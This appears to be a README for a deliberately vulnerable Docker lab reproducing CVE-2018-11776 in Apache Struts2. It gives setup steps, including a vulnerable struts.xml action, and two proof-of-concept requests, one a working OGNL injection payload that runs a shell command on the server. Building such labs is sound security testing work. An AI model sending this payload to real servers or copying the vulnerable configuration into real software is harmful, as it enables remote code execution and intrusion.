CVE-2018-11776

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Vulnerable docker container for CVE-2018-11776

CVE-2018-11776 최신버젼 다운로드

최종 버전 다운로드 (.zip)

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## Vulnerable docker container for CVE-2018-11776

# docker pull bhdresh/cve-2018-11776:1.0
    # docker run -dit -p <IP ADDRESS>:8080:8080 bhdresh/cve-2018-11776:1.0

### PoC

##### PoC - 1
   
    Request : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/${333+333}/help.action
    Result  : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/666/help.action
    
##### PoC - 2

Request : http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27touch /tmp/vulnerable%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action
    Result  : This would create a file named 'vulnerable' in /tmp/ directory of docker
    
    
## Steps to create vulnerable docker container

##### Create a Dockerfile

FROM ubuntu:latest
    RUN apt-get update -y
    RUN apt-get upgrade -y
    RUN apt-get dist-upgrade -y
    RUN apt-get install default-jdk vim net-tools wget -y
    EXPOSE 8080

##### Build a docker

# docker build -t cve-2018-11776 .

##### Start a docker

# docker run --name cve-2018-11776 -p <IP ADDRESS>:8080:8080 -dit cve-2018-11776 /bin/bash

##### Login to docker

# docker exec -it cve-2018-11776 /bin/bash

##### Make followinng changes inside docker

###### Set up Tomcat:

# mkdir ~/sources
    # cd ~/sources
    # wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz
    # tar xvzf apache-tomcat-7.0.90.tar.gz
    # mv apache-tomcat-7.0.90 /opt/tomcat

###### Update bashrc with variables:

# vim ~/.bashrc
    
    export JAVA_HOME=/usr/lib/jvm/default-java
    export CATALINA_HOME=/opt/tomcat
    
    # . ~/.bashrc

###### Add an admin to the Tomact gui:

# vim /opt/tomcat/conf/tomcat-users.xml
    
    <user username="username" password="test-cve-2018-11776" roles="manager-gui,admin-gui" />

###### Start Tomcat server

# $CATALINA_HOME/bin/startup.sh

###### Upload and deploy a vulnerable Struts2 Showcase through tomcat UI

http://<IP ADDRESS>:8080 (username:test-cve-2018-11776)

###### Restart Tomcat

# $CATALINA_HOME/bin/shutdown.sh
    # $CATALINA_HOME/bin/startup.sh

###### Add a vulnerable redirection action without a namespace:

# vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

<action name="help">
                  <result type="redirectAction">
                          <param name="actionName">date.action</param>
                  </result>
      </action>

NOTE: By default, alwaysSelectFullNamespace should be set to True.

###### Restart Tomcat and check out the Struts2 Showcase page:
    
    # $CATALINA_HOME/bin/shutdown.sh
    # $CATALINA_HOME/bin/startup.sh
    
    http://<IP ADDRESS>:8080/struts2-showcase-2.3.14/showcase.jsp

### Author

@bhdresh

### References

https://github.com/xfox64x/CVE-2018-11776

https://github.com/jas502n/St2-057

CVE-2018-11776

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